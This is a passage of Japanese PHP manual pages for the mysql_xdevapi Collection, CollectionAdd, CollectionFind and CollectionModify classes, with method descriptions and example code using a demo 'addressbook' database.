  • mysql_xdevapi\Collection
  • コレクションのドキュメントをひとつ置き換える

Collection::replaceOne

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Collection::replaceOne — コレクションのドキュメントをひとつ置き換える

説明

public mysql_xdevapi\Collection::replaceOne ( string $id , string $doc ) : mysql_xdevapi\Result

ID で特定されたドキュメントが存在すれば、それを更新(置き換え)します。

パラメータ

id

置き換え、または更新するドキュメントのID。 通常、これは レコードを追加した時に MySQL サーバが生成した _id です。

doc

id パラメータにマッチするドキュメントを更新したり 置換したりするためのコレクションのドキュメント

このドキュメントは、ドキュメントオブジェクトか、 新しいドキュメントを表現する 有効な JSON 文字列のどちらかです。

返り値

影響を受けた行を調べたり、 操作によって生成された警告の数を得ることができる Result オブジェクトを返します。

例

例1 mysql_xdevapi\Collection::replaceOne() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();

// 通常、_id は他の手段によって知ることができますが、
// この例のために、生成された id を取得し、それを使います。
$ids       = $result->getGeneratedIds();
$alfred_id = $ids[0];

// ...

$alfred = $collection->getOne($alfred_id);
$alfred['age'] = 81;
$alfred['job'] = 'Guru';

$collection->replaceOne($alfred_id, $alfred);

?>

User Contributed Notes

There are no user contributed notes for this page.


CollectionAdd クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\CollectionAdd implements mysql_xdevapi\Executable {
/* メソッド */
public execute ( ) : mysql_xdevapi\Result
}

目次

  • CollectionAdd::__construct — CollectionAdd のコンストラクタ
  • CollectionAdd::execute — ステートメントを実行する

User Contributed Notes

There are no user contributed notes for this page.


CollectionAdd のコンストラクタ

  • ≪ mysql_xdevapi\CollectionAdd
  • CollectionAdd::execute ≫
  • PHP Manual
  • mysql_xdevapi\CollectionAdd
  • CollectionAdd のコンストラクタ

CollectionAdd::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionAdd::__construct — CollectionAdd のコンストラクタ

説明

private mysql_xdevapi\CollectionAdd::__construct ( )

コレクションにドキュメントを追加するために使います。 ;コレクションオブジェクトから呼び出されます。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\CollectionAdd::__construct() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// ドキュメントをふたつ追加
$collection
  ->add('{"name": "Fred",  "age": 21, "job": "Construction"}')
  ->execute();

$collection
  ->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')
  ->execute();

// 単一のJSONオブジェクトを使い、ドキュメントをふたつ追加
$result = $collection
  ->add(
    '{"name": "Bernie",
      "jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
      "hobbies": ["Sports","Making cupcakes"]}',
    '{"name": "Jane",
      "jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
      "hobbies": ["Walking","Making pies"]}')
  ->execute();

// 最後の add() から生成された ID のリストを取得
$ids = $result->getGeneratedIds();
print_r($ids);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => 00005b6b53610000000000000056
    [1] => 00005b6b53610000000000000057
)

注意

注意:

例で示したように、MySQL 8.0 以上では、ユニークな _id が生成されます。 _id フィールドは、MySQLサーバ 5.7 を使っている場合、手動で定義しなければなりません。

User Contributed Notes

There are no user contributed notes for this page.


ステートメントを実行する

  • ≪ CollectionAdd::__construct
  • mysql_xdevapi\CollectionFind ≫
  • PHP Manual
  • mysql_xdevapi\CollectionAdd
  • ステートメントを実行する

CollectionAdd::execute

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionAdd::execute — ステートメントを実行する

説明

public mysql_xdevapi\CollectionAdd::execute ( ) : mysql_xdevapi\Result

CRUD操作のリクエストを MySQL サーバに送信するために execute メソッドは必須です。

パラメータ

この関数にはパラメータはありません。

返り値

影響を受けた行数のような、操作の状態を確認するのに使われる Result オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionAdd::execute() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// ドキュメントをふたつ追加
$collection
  ->add('{"name": "Fred",  "age": 21, "job": "Construction"}')
  ->execute();

$collection
  ->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')
  ->execute();

// 単一のJSONオブジェクトを使い、ドキュメントをふたつ追加
$result = $collection
  ->add(
    '{"name": "Bernie",
      "jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
      "hobbies": ["Sports","Making cupcakes"]}',
    '{"name": "Jane",
      "jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
      "hobbies": ["Walking","Making pies"]}')
  ->execute();

// 最後の add() から生成された ID のリストを取得
$ids = $result->getGeneratedIds();
print_r($ids);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => 00005b6b53610000000000000056
    [1] => 00005b6b53610000000000000057
)

User Contributed Notes

There are no user contributed notes for this page.


CollectionFind クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\CollectionFind implements mysql_xdevapi\Executable , mysql_xdevapi\CrudOperationBindable , mysql_xdevapi\CrudOperationLimitable , mysql_xdevapi\CrudOperationSortable {
/* メソッド */
public bind ( array $placeholder_values ) : mysql_xdevapi\CollectionFind
public execute ( ) : mysql_xdevapi\DocResult
public fields ( string $projection ) : mysql_xdevapi\CollectionFind
public groupBy ( string $sort_expr ) : mysql_xdevapi\CollectionFind
public having ( string $sort_expr ) : mysql_xdevapi\CollectionFind
public limit ( int $rows ) : mysql_xdevapi\CollectionFind
public lockExclusive ( int $lock_waiting_option = ? ) : mysql_xdevapi\CollectionFind
public lockShared ( int $lock_waiting_option = ? ) : mysql_xdevapi\CollectionFind
public offset ( int $position ) : mysql_xdevapi\CollectionFind
public sort ( string $sort_expr ) : mysql_xdevapi\CollectionFind
}

目次

  • CollectionFind::bind — クエリのプレースホルダーに値をバインドする
  • CollectionFind::__construct — CollectionFind のコンストラクタ
  • CollectionFind::execute — ステートメントを実行する
  • CollectionFind::fields — ドキュメントのフィールドのフィルタを設定する
  • CollectionFind::groupBy — グループ化の条件を設定する
  • CollectionFind::having — 集約関数の条件を設定する
  • CollectionFind::limit — 返されるドキュメントの数を限定する
  • CollectionFind::lockExclusive — Execute operation with EXCLUSIVE LOCK
  • CollectionFind::lockShared — SHARED LOCK 付きで操作を実行する
  • CollectionFind::offset — 返される要素の数から、与えられた数をスキップする
  • CollectionFind::sort — ソート条件を設定する

User Contributed Notes

There are no user contributed notes for this page.


クエリのプレースホルダーに値をバインドする

  • ≪ mysql_xdevapi\CollectionFind
  • CollectionFind::__construct ≫
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • クエリのプレースホルダーに値をバインドする

CollectionFind::bind

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionFind::bind — クエリのプレースホルダーに値をバインドする

説明

public mysql_xdevapi\CollectionFind::bind ( array $placeholder_values ) : mysql_xdevapi\CollectionFind

ユーザーは、検索条件または検索の操作の中で、 プレースホルダーに対してパラメータをバインドできます。 プレースホルダーは :NAME というフォーマットで、 ':' は NAME の前に常に存在しなければいけない 共通のプレフィックスです。NAME はプレースホルダーの実際の名前です。 この関数は、複数のエンティティを検索時に置き換える必要がある場合、 プレースホルダーのリストを受け付けます。

パラメータ

placeholder_values

検索条件の中で置き換える値。 複数の値が許されていますし、配列の中で "PLACEHOLDER_NAME => PLACEHOLDER_VALUE" のような形で渡すこともできます。

返り値

CollectionFind オブジェクト。 または、Result オブジェクトを取得するために execute() とチェインさせることもできます。

例

例1 mysql_xdevapi\CollectionFind::bind() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$result = $create
  ->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
  ->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
  ->find('job like :job and age > :age')
  ->bind(['job' => 'Butler', 'age' => 16])
  ->execute();

var_dump($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000cf"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


CollectionFind のコンストラクタ

  • ≪ CollectionFind::bind
  • CollectionFind::execute ≫
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • CollectionFind のコンストラクタ

CollectionFind::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionFind::__construct — CollectionFind のコンストラクタ

説明

private mysql_xdevapi\CollectionFind::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

例

例1 CollectionFind の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$result = $create
  ->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
  ->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
  ->find('job like :job and age > :age')
  ->bind(['job' => 'Butler', 'age' => 16])
  ->execute();

var_dump($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000cf"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


ステートメントを実行する

  • ≪ CollectionFind::__construct
  • CollectionFind::fields ≫
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • ステートメントを実行する

CollectionFind::execute

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionFind::execute — ステートメントを実行する

説明

public mysql_xdevapi\CollectionFind::execute ( ) : mysql_xdevapi\DocResult

find 操作を実行します。 この操作は、メソッドのチェインも許可しています。

パラメータ

この関数にはパラメータはありません。

返り値

結果を取得したり、操作の状態を問い合わせるための DocResult オブジェクトを返します。

例

例1 CollectionFind の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create
  ->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
  ->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
  ->find('job like :job and age > :age')
  ->bind(['job' => 'Butler', 'age' => 16])
  ->execute();

var_dump($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000cf"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


ドキュメントのフィールドのフィルタを設定する

  • ≪ CollectionFind::execute
  • CollectionFind::groupBy ≫
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • ドキュメントのフィールドのフィルタを設定する

CollectionFind::fields

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionFind::fields — ドキュメントのフィールドのフィルタを設定する

説明

public mysql_xdevapi\CollectionFind::fields ( string $projection ) : mysql_xdevapi\CollectionFind

クエリによって返されるカラムを設定します。 設定されない場合は、全てのカラムが使われます。

パラメータ

projection

単一の文字列か、文字列の配列。 検索条件にマッチするドキュメント単位で返されるカラムを識別します。

返り値

後の処理に使える CollectionFind を返します。

例

例1 mysql_xdevapi\CollectionFind::fields() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$create
  ->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
  ->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
  ->find('job like :job and age > :age')
  ->bind(['job' => 'Butler', 'age' => 16])
  ->fields('name')
  ->execute();

var_dump($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(1) {
    ["name"]=>
    string(6) "Alfred"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


グループ化の条件を設定する

  • ≪ CollectionFind::fields
  • CollectionFind::having ≫
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • グループ化の条件を設定する

CollectionFind::groupBy

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionFind::groupBy — グループ化の条件を設定する

説明

public mysql_xdevapi\CollectionFind::groupBy ( string $sort_expr ) : mysql_xdevapi\CollectionFind

この関数は、結果セットをひとつまたはそれ以上のカラムによってグループ化するのに使えます。 COUNT,MAX,MIN,SUM のような集約関数とともによく使います。

パラメータ

sort_expr

グループ化の操作のために使われるカラム。 これは文字列か、カラムをあらわす文字列の配列のうちのどちらかです。

返り値

その後の処理に使える CollectionFind オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionFind::groupBy() の例

<?php

//Assuming $coll is a valid Collection object

//Extract all the documents from the Collection and group the results by the 'name' field
$res = $coll->find()->groupBy('name')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


集約関数の条件を設定する

  • ≪ CollectionFind::groupBy
  • CollectionFind::limit ≫
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • 集約関数の条件を設定する

CollectionFind::having

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionFind::having — 集約関数の条件を設定する

説明

public mysql_xdevapi\CollectionFind::having ( string $sort_expr ) : mysql_xdevapi\CollectionFind

この関数は、展開するドキュメントを選択するために、 'field' 操作の後で使えます。

パラメータ

sort_expr

有効な SQL の式でなければなりません。 集約関数を使うこともできます。

返り値

後の操作で使える CollectionFind オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionFind::having() の例

<?php

// $coll は、有効な Collection オブジェクトとします

// 'age' が40以上の全てのドキュメントを検索し、
// カラム 'name' と 'age' のみを Result オブジェクトとして返します。
$res = $coll->find()->fields(['name','age'])->having('age > 40')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


返されるドキュメントの数を限定する

  • ≪ CollectionFind::having
  • CollectionFind::lockExclusive ≫
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • 返されるドキュメントの数を限定する

CollectionFind::limit

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionFind::limit — 返されるドキュメントの数を限定する

説明

public mysql_xdevapi\CollectionFind::limit ( int $rows ) : mysql_xdevapi\CollectionFind

返されるドキュメントの最大数を設定します。

パラメータ

rows

ドキュメントの最大数

返り値

追加の操作に使える CollectionFind オブジェクトを返します。 DocResult オブジェクトを返す execute() メソッドとチェインできます。

例

例1 mysql_xdevapi\CollectionFind::limit() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$create
  ->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
  ->execute();
$create
  ->add('{"name": "Reginald", "age": 42, "job": "Butler"}')
  ->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
  ->find('job like :job and age > :age')
  ->bind(['job' => 'Butler', 'age' => 16])
  ->sort('age desc')
  ->limit(1)
  ->execute();

var_dump($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000f3"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Execute operation with EXCLUSIVE LOCK

  • ≪ CollectionFind::limit
  • CollectionFind::lockShared ≫
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • Execute operation with EXCLUSIVE LOCK

CollectionFind::lockExclusive

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionFind::lockExclusive — Execute operation with EXCLUSIVE LOCK

説明

public mysql_xdevapi\CollectionFind::lockExclusive ( int $lock_waiting_option = ? ) : mysql_xdevapi\CollectionFind

ドキュメントを排他ロックし、他のトランザクションからの更新はロックを解放するまでブロックします。 ドキュメントがロックされている間、他のトランザクションはドキュメントの更新、 SELECT ... LOCK IN SHARE MODE、 および、トランザクション分離レベルにあるデータの読み取りをブロックされます。 一貫性のある読み取りはあらゆるロックを無視します。

並列処理の問題を避けるために、この機能は modify() コマンドから直接使うのが有用です。 基本的に、このコマンドは行ロックを通してアクセスを直列化します。

パラメータ

lock_waiting_option

オプションで指定できる、ロック待ちのオプション。 デフォルトは MYSQLX_LOCK_DEFAULT です。 有効な値は以下のとおりです:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

返り値

後の処理に使える CollectionFind オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionFind::lockExclusive() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$session->startTransaction();

$result = $collection
  ->find("age > 50")
  ->lockExclusive()
  ->execute();

// ... do an operation on the object

// Complete the transaction and unlock the document
$session->commit();
?>

User Contributed Notes

There are no user contributed notes for this page.


SHARED LOCK 付きで操作を実行する

  • ≪ CollectionFind::lockExclusive
  • CollectionFind::offset ≫
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • SHARED LOCK 付きで操作を実行する

CollectionFind::lockShared

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionFind::lockShared — SHARED LOCK 付きで操作を実行する

説明

public mysql_xdevapi\CollectionFind::lockShared ( int $lock_waiting_option = ? ) : mysql_xdevapi\CollectionFind

ロックを共有モードで使う複数のトランザクション間で、ドキュメントを共有することができます。

他のセッションからは行を読めますが、あなたがトランザクションをコミットするまで変更できません。

もしまだコミットしていない別のトランザクションから、これらの行が変更された場合、

あなたのクエリは、トランザクションが終了し、最新の値を使うまで待たされます。

パラメータ

lock_waiting_option

オプションで指定できる、ロック待ちのオプション。 デフォルトは MYSQLX_LOCK_DEFAULT です。 有効な値は以下のとおりです:

  • MYSQLX_LOCK_DEFAULT

  • MYSQLX_LOCK_NOWAIT

  • MYSQLX_LOCK_SKIP_LOCKED

返り値

後の処理で使える CollectionFind オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionFind::lockShared() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$session->startTransaction();

$result = $collection
  ->find("age > 50")
  ->lockShared()
  ->execute();

// ... read the object in shared mode

// Complete the transaction and unlock the document
$session->commit();
?>

User Contributed Notes

There are no user contributed notes for this page.


返される要素の数から、与えられた数をスキップする

  • ≪ CollectionFind::lockShared
  • CollectionFind::sort ≫
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • 返される要素の数から、与えられた数をスキップする

CollectionFind::offset

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionFind::offset — 返される要素の数から、与えられた数をスキップする

説明

public mysql_xdevapi\CollectionFind::offset ( int $position ) : mysql_xdevapi\CollectionFind

find 操作によって返されたはずの要素から、指定された数の要素(offset) をスキップします。 limit() メソッドと一緒に使います。

結果セットのサイズとよりも大きな offset を指定すると、空の結果セットが返されます。

パラメータ

position

limit() 操作のためにスキップする要素の数

返り値

追加の操作に使える CollectionFind オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionFind::offset() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$create
  ->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
  ->execute();
$create
  ->add('{"name": "Reginald", "age": 42, "job": "Butler"}')
  ->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
  ->find()
  ->sort('age asc')
  ->offset(1)
  ->limit(1)
  ->execute();

var_dump($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b536100000000000000f3"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


ソート条件を設定する

  • ≪ CollectionFind::offset
  • mysql_xdevapi\CollectionModify ≫
  • PHP Manual
  • mysql_xdevapi\CollectionFind
  • ソート条件を設定する

CollectionFind::sort

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionFind::sort — ソート条件を設定する

説明

public mysql_xdevapi\CollectionFind::sort ( string $sort_expr ) : mysql_xdevapi\CollectionFind

sort_expr 引数で、選択されるフィールドによって結果をソートします。 可能なソート順は ASC(昇順) または DESC (降順) です。 この操作は SQL の 'ORDER BY' と同等で、同じルールに従います。

パラメータ

sort_expr

ひとつ以上のソート式が指定できます。 評価は左から右に行われ、個別の式はコンマで区切ります。

返り値

コマンドを実行したり、追加の操作を追加できる CollectionFind オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionFind::sort() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");
$create
  ->add('{"name": "Alfred", "age": 18, "job": "Butler"}')
  ->execute();
$create
  ->add('{"name": "Reginald", "age": 42, "job": "Butler"}')
  ->execute();

// ...

$collection = $schema->getCollection("people");

$result = $collection
  ->find()
  ->sort('job desc', 'age asc')
  ->execute();

var_dump($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  [0]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000106"
    ["age"]=>
    int(18)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(6) "Alfred"
  }
  [1]=>
  array(4) {
    ["_id"]=>
    string(28) "00005b6b53610000000000000107"
    ["age"]=>
    int(42)
    ["job"]=>
    string(6) "Butler"
    ["name"]=>
    string(8) "Reginald"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


CollectionModify クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\CollectionModify implements mysql_xdevapi\Executable , mysql_xdevapi\CrudOperationBindable , mysql_xdevapi\CrudOperationLimitable , mysql_xdevapi\CrudOperationSkippable , mysql_xdevapi\CrudOperationSortable {
/* メソッド */
public arrayAppend ( string $collection_field , string $expression_or_literal ) : mysql_xdevapi\CollectionModify
public arrayInsert ( string $collection_field , string $expression_or_literal ) : mysql_xdevapi\CollectionModify
public bind ( array $placeholder_values ) : mysql_xdevapi\CollectionModify
public execute ( ) : mysql_xdevapi\Result
public limit ( int $rows ) : mysql_xdevapi\CollectionModify
public patch ( string $document ) : mysql_xdevapi\CollectionModify
public replace ( string $collection_field , string $expression_or_literal ) : mysql_xdevapi\CollectionModify
public set ( string $collection_field , string $expression_or_literal ) : mysql_xdevapi\CollectionModify
public skip ( int $position ) : mysql_xdevapi\CollectionModify
public sort ( string $sort_expr ) : mysql_xdevapi\CollectionModify
public unset ( array $fields ) : mysql_xdevapi\CollectionModify
}

目次

  • CollectionModify::arrayAppend — 配列のフィールドに要素を追加する
  • CollectionModify::arrayInsert — 配列のフィールドに要素を挿入する
  • CollectionModify::bind — クエリのプレースホルダーに値をバインドする
  • CollectionModify::__construct — CollectionModify のコンストラクタ
  • CollectionModify::execute — 変更の操作を実行する
  • CollectionModify::limit — 変更されるドキュメントの数を限定する
  • CollectionModify::patch — document にパッチを当てる
  • CollectionModify::replace — ドキュメントのフィールドを置き換える
  • CollectionModify::set — ドキュメントの属性を設定する
  • CollectionModify::skip — 要素をスキップする
  • CollectionModify::sort — ソート条件を設定する
  • CollectionModify::unset — ドキュメントのフィールドの値を削除する

User Contributed Notes

There are no user contributed notes for this page.


配列のフィールドに要素を追加する

  • ≪ mysql_xdevapi\CollectionModify
  • CollectionModify::arrayInsert ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • 配列のフィールドに要素を追加する

CollectionModify::arrayAppend

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::arrayAppend — 配列のフィールドに要素を追加する

説明

public mysql_xdevapi\CollectionModify::arrayAppend ( string $collection_field , string $expression_or_literal ) : mysql_xdevapi\CollectionModify

ドキュメントのフィールドに要素を追加します。 フィールドの複数の要素は配列として表現されます。 arrayInsert() と異なり、arrayAppend() は常に新しい要素を配列の最後に追加します。 一方で、arrayInsert() は挿入する位置を指定できます。

パラメータ

collection_field

新しい要素を挿入するフィールドの識別子

expression_or_literal

ドキュメントフィールドの配列の最後に挿入する新しい要素

返り値

コマンドを実行したり、追加の操作を追加できる CollectionModify オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionModify::arrayAppend() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
  ->add(
  '{"name":   "Bernie",
    "traits": ["Friend", "Brother", "Human"]}')
  ->execute();

$collection
  ->modify("name in ('Bernie', 'Jane')")
  ->arrayAppend('traits', 'Happy')
  ->execute();

$result = $collection
  ->find()
  ->execute();

print_r($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000010c
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                    [3] => Happy
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


配列のフィールドに要素を挿入する

  • ≪ CollectionModify::arrayAppend
  • CollectionModify::bind ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • 配列のフィールドに要素を挿入する

CollectionModify::arrayInsert

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::arrayInsert — 配列のフィールドに要素を挿入する

説明

public mysql_xdevapi\CollectionModify::arrayInsert ( string $collection_field , string $expression_or_literal ) : mysql_xdevapi\CollectionModify

ドキュメントのフィールドに要素を追加します。 フィールドの複数の要素は配列として表現されます。 arrayAppend() と異なり、arrayInsert() は新しい要素をどこに挿入するかを指定できます。常に新しい要素を配列の最後に追加します。 一方で、arrayAppend は新しい要素を常に配列の最後に追加します。

パラメータ

collection_field

新しい要素が挿入される配列中の要素を識別します。 このパラメータのフォーマットは FIELD_NAME[ INDEX ] です。 FIELD_NAME は、要素を削除するドキュメントフィールドの名前で、 INDEX はフィールド内の要素のインデックスです。

INDEX フィールドは0から始まります。 よって、配列の一番左端のインデックスは0です。

expression_or_literal

FIELD_NAME[ INDEX ] の後に挿入する新しい要素

返り値

コマンドを実行したり、追加の操作を追加できる CollectionModify オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionModify::arrayInsert() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
  ->add(
  '{"name":   "Bernie",
    "traits": ["Friend", "Brother", "Human"]}')
  ->execute();

$collection
  ->modify("name in ('Bernie', 'Jane')")
  ->arrayInsert('traits[1]', 'Happy')
  ->execute();

$result = $collection
  ->find()
  ->execute();

print_r($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000010d
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Happy
                    [2] => Brother
                    [3] => Human
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


クエリのプレースホルダーに値をバインドする

  • ≪ CollectionModify::arrayInsert
  • CollectionModify::__construct ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • クエリのプレースホルダーに値をバインドする

CollectionModify::bind

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::bind — クエリのプレースホルダーに値をバインドする

説明

public mysql_xdevapi\CollectionModify::bind ( array $placeholder_values ) : mysql_xdevapi\CollectionModify

変更操作の検索条件のプレースホルダーにパラメータをバインドします。

